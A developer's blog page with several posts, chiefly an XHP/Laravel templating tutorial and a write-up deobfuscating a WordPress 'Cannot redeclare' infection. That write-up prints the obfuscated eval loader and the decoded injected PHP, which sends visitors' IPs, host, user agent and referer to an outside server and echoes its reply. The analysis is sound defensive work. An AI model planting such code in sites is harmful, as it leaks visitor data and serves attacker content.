In this post I'll cover the basics of using XHP along with the Laravel PHP framework, but most of the information is framework-agnostic and applies to other frameworks too.

What is XHP and Why Should I Use It?

XHP is a templating syntax originally developed by Facebook and currently in use for all their server-rendered frontend code. It adds an XML-like syntax into PHP itself. XHP comes bundled with HHVM, and is available as an extension for regular PHP 5 too.

The main advantages of XHP include:

  • Not just simple language transformations — Every element in XHP is a regular PHP class. This means you have the full power of PHP in your templates, including inheritence. More advanced XHP components can have methods that alter their behaviour
  • Typed parameters — You can specify that attributes need to be of a particular type and whether they are mandatory or optional. Most PHP templating languages are weakly-typed.
  • Safe by default — All variables are HTML escaped by default.

Installation

From here on, I'm assuming that you already have a basic Laravel app up and running on your machine. If not, please follow the Composer and Laravel quickstart guides before continuing.

If you are running PHP, you will first need to install the XHP extension. HHVM comes bundled with XHP so you don't need to worry about the extension if you're using HHVM.

This extension is only one part of XHP and only implements the parsing logic. The actual runtime behaviour of XHP elements is controlled by a few PHP files. These files implement the base XHP classes that your custom tags will extend, in addition to all the basic HTML tags. This means that you can totally customise the way XHP works on a project-by-project basis (although I'd strongly suggest sticking to the default behaviour so you don't introduce incompatibilities). You can install these files via Composer. Edit your composer.json file and add this to the "require" section:

"facebook/xhp": "dev-master"

While in composer.json, also add "app/views" to the autoload classmap section. This will tell Composer to handle autoloading your custom XHP classes. XHP elements are compiled down to regular PHP classes, and Composer's autoloader can handle loading them. In the end, your composer.json should look something like this. If you do not want to use the Composer autoloader (or it does not work for some reason), you can use a simple custom autoloader instead. I'd only suggest this if you have problems with Composer's autoloader.

Create Some Views

The first view file we'll create is the basic page layout. Save this as views/layout/base.php:

<?php
class :layout:base extends :x:element {
  attribute
    string title @required;

  public function render() {
    return
      <x:doctype>
        <html>
          <head>
            <title>{$this->getAttribute('title')}</title>
          </head>
          <body>
            {$this->getChildren()}
          </body>
        </html>
      </x:doctype>;
  }
}

(side note: if you are using HHVM, you can replace <?php with <?hh to use Hack instead of vanilla PHP)

This code introduces some core XHP concepts:

  • All XHP classes start with a colon (:), and colons are used to denote "namespaces" (note that these are not PHP namespaces). XHP classes can have multiple colons in the name (so :page:blog:comments is a valid class name)
  • :x:element is the base XHP class that all of your XHP templates should extend.
  • XHP classes can have attributes. This class has a title attribute that's required. If a required attribute is not specified, an exception will be thrown at runtime. Attributes can use intrinsic types (string, int, bool) as well as complex types (class names, eg. for view models or database models)
  • XHP classes have a render method that returns the XHP for rendering this component. This can be a mix of regular HTML tags (as shown here) and other XHP components.

Now that we have a layout file, let's also create a simple page that utilises it. Save this as views/page/home.php:

<?php
class :page:home extends :x:element {
  attribute
    string name @required;

  protected function render() {
    return
      <layout:base title="Hello Title">
        Hello {$this->getAttribute('name')}!
        <strong>This is a test</strong>
      </layout:base>;
  }
}

Notice that this component uses :layout:base in its render method, passing "Hello Title" as the title attribute. Generally, you should favour composition over inheritance (that is, use other components in your render method rather than extending them).

Since we are using Composer's autoloader to load the views, you need to tell it to rebuild its autoloader cache:

composer dump-autoload

This needs to be done every time you add a new view. If you are only editing an existing view, you do not need to do it.

Now that we have a page, let's use it. Using an XHP view from a Laravel route or controller simply involves returning it like you would any other response. In app/routes.php, modify the / route as follows:

Route::get('/', function() {
  return <page:home name="Daniel" />;
});

Save the file and hit your app in your favourite browser. If everything was successful, you should see "Hello Daniel! This is a test" on the screen. Congratulations! You've just created a simple XHP-powered Laravel site!

Next Steps

So where do you go from here? In general, every reusable component should have its own XHP class. For example, if you were using Bootstrap for your site, each Bootstrap component that you'd like to use belongs in its own XHP class. I'd suggest using at least three separate XHP namespaces:

  • :layout — Layout pages, the actual header and footer of the site. Different sections of your site may have different header/footers.
  • :page — Actual website pages
  • :ui — Reusable UI components

Within each of these namespaces, you can have "sub namespaces". For example, you may have :page:blog:... for blog pages

Further Reading

Over the past few months, there have been a few vulnerabilies in PHP scripts utilised by various WordPress themes. One of the largest hacks was back in August, when a Remote File Inclusion (RFI) vulnerability was found in TimThumb, a thumbnail generation script used by a lot of WordPress themes. This vulnerability allowed attackers to run any PHP code on vulnerable sites. As a result of this, thousands of sites were hacked.

The most common result of your site being hacked through like this is having some sort of malicious code added to your PHP files. This is often invisible, and people don't notice that their site has malicious code lurking in it until much later. However, sometimes the hacked code does have errors in it. One particular payload is being referred to as the "'Cannot redeclare' hack", as it causes an error like the following to appear in your site's footer:

Fatal error: Cannot redeclare _765258526() (previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) : eval()'d code:1) in /path/to/www/index.php(18) : eval()'d code on line 1

This particular hack affects all the index.php and footer.php files in your WordPress installation. If you are affected by this hack and open any index.php or footer.php file, you'll see code that starts like this: (the full code is on Pastebin)

<?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5Wj...

Decoding the Code

If you're this far, I assume you're a PHP developer (or at least know the basics of PHP). The malicious code above is actually highly obfuscated PHP code, which means that the actual intent of the code is hidden and it looks like jibberish. The eval statement runs arbitrary PHP code, so this line of code will basically base64 decode and then run the big block of code. So... what does the code actually do? Obviously we can't tell with it in its current state. It does take a bit of effort, but this code can be "decoded" relatively easy. Obfuscation is not one-way, it can always be undone. While we can't get back the original variable names, we can see what functions the code is executing.

The first step in decoding this code is replacing all instances of eval with echo, and then running the script. This should output the code being executed, instead of actually executing it. After doing this, I ended up with something like the following:

$GLOBALS['_2143977049_']=Array();
function _765258526($i){$a=Array();return base64_decode($a[$i]);}

eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyMjM...

Great, another layer of gzipped/base64'd obfuscation. This technique is common with obfuscated code like this. Multiple layers of obfuscation makes it harder for someone to decode the code, as it requires more effort. I guess the "bad guys" think that people will get tired of trying to unobfuscate the code, and give up, or something like that. When a case like this is encountered, keep replacing eval with echo and re-running the script, until there's no eval statements left. After decoding all the eval'd code and formatting the resulting code, I ended up with this. While there's readable code there now, it's still obfuscated.

Once you're this far, if you look closely at the code, you'll notice that a lot of it is encoded using base64. The next step to unobfuscating thid code is to decode all base64-encoded text. That is, find all instances of base64_decode(...) and replace it with the base64 decoded version. Once I did that, I ended up with this:

<?php 
$GLOBALS['_226432454_']=Array();
function _1618533527($i)
{
        return '91.196.216.64';
}
 
$ip=_1618533527(0);
$GLOBALS['_1203443956_'] = Array('urlencode');
function _1847265367($i)
{
        $a=Array('http://','/btt.php?ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER');
        return $a[$i];
}
$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)];
$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');
function _393632915($i)
{
    return 'curl_version';
}
if ($GLOBALS['_399629645_'][0](_393632915(0))) 
{
        $ch=$GLOBALS['_399629645_'][1]($url);
        $GLOBALS['_399629645_'][2]($ch,CURLOPT_RETURNTRANSFER,true);
        $GLOBALS['_399629645_'][3]($ch,CURLOPT_HEADER,round(0));
        $GLOBALS['_399629645_'][4]($ch,CURLOPT_TIMEOUT,round(0+0.75+0.75+0.75+0.75));
        $re=$GLOBALS['_399629645_'][5]($ch);
        $GLOBALS['_399629645_'][6]($ch);
}
else
{
        $re=$GLOBALS['_399629645_'][7]($url);  
}
echo $re;
?>

Now you simply need to go through the code and "execute it in your head". Follow the execution path of the code, and see which variables are used where. There's some usage of arrays to disguise certain variables. What I did was first replaced the two function calls (_1618533527 and _1847265367), and then replaced the array usages (1203443956, 399629645 and 399629645). Substitute the variables in the places they're used, and the code should be fully obfuscated. Once fully unobfuscated, the code came down to the following:

<?php
$url = 'http://91.196.216.64/btt.php?ip=' . $_SERVER['REMOTE_ADDR'] . '&host=' . $_SERVER['HTTP_HOST'] . '&ua=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ref=' . $_SERVER['HTTP_REFERER'];

if (function_exists('curl_version'))
{
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 3);
	$re = curl_exec($ch);
	curl_close($ch);
}
else
{
	$re = file_get_contents($url);
}
echo $re;

So, what it's actually doing is sending a request to 91.196.216.64 (a server located in Russia), telling it your site's hostname, your user agent (what browser you're using), and the referer (how you got to the page). This is not directly malicious (this code can't directly do anything bad), which makes it interesting. My theory is that the developer of the worm is using this to create a list of all vulnerable sites, to use them for further hacks in the near future.

So, that's it. Hopefully this post wasn't too boring (and perhaps you even learnt how to unobfuscate code like this). As more people learn how to unobfuscate code like this, I suspect that the "hackers" will keep getting smarter and devising more clever code obfuscation techniques. Until then, finding out what the code actually does is relatively quick and easy, as I've demonstrated here.

Until next time,
— Daniel

So I thought I'd finally write a little blog post about a Twitter bot I made a while ago. A few people emailed me asking for the source code, so I had previously posted about it on webDevRefinery, but never on my own blog. Basically all the bot does is search for whenever people mention "over 9000" or "over nine thousand", and replies with "WHAT, NINE THOUSAND?!". Pretty simple, but I wanted to learn about using the Twitter API. It seems to have inspired the creation of other Twitter bots, like AnnoyingNavi and The Spacesphere, which I think is pretty cool. 😃.

The source code is available as a Gist on Github. It is written in PHP and requires the PECL OAuth extension to be installed. I think it's a pretty good example of a simple "search and reply" Twitter bot, that could easily be extended to do more useful things.

Until next time,

— Daniel

I was rewriting my site recently (to use the Kohana framework instead of WordPress), and I decided to write my own blog system at the same time. Finally, I've finished a basic version of it, and it's now live! This site is running on it, so hopefully there's no major issues! I do still love WordPress, but as a developer, it's often fun to create your own stuff (you know exactly what the code is doing, and it does exactly what you want). The code for this whole website is now available on Github, maybe some of you would find it interesting (especially if you're doing something similar yourself). Still a bit rough around the edges, but it's working fine. I've still got a bit I'd like to do with the blog (like improving the administration section). 😃

My old blog used to have a "microblog" section where I'd occassionally post photos and stuff. I've moved all that onto a Tumblr account, although now I'm thinking I should have used Posterous instead. Tumblr's uptime seems quite bad. I really don't understand why it's so popular... It seems like it's mainly the community rather than the site itself.

Eventually I might even post a proper blog article to here. Or to my other blog with my girlfriend 😃

Until then,

— Daniel

A lot of sites now use OpenID. This is great, as you can use the one account on multiple sites. Unfortunately, Facebook accounts can not yet be used as OpenIDs 😦. However, using Facebook logins isn't too hard, as they support using OAuth 2.0. OpenID and OAuth are fundamentally for different things (OpenID is authentication, OAuth is authorization), but it still works well in this situation.

Firstly, sign up for a Facebook application at the Facebook developer website. You'll have to correctly set the site URL and site domain. Copy the application ID and application secret as shown on the Web Site section of the settings, as you will need them later.

Read more ⇒

The other day, I was looking for an easy way to restore a MySQL dump (or backup, whatever you like to call it) in PHP. I've previously used a segment of the code from PHP MySQL Backup V 2.2 for this, but it didn't seem to support FULLTEXT indicies that well. So, I searched around, but couldn't find anything. I even asked on the PHP IRC channel, and they suggested to use shell_exec to call mysql (unfortunately, I've disabled shell_exec for security reasons). Looking closer, I noticed that this was actually quite easy to do.

Read more ⇒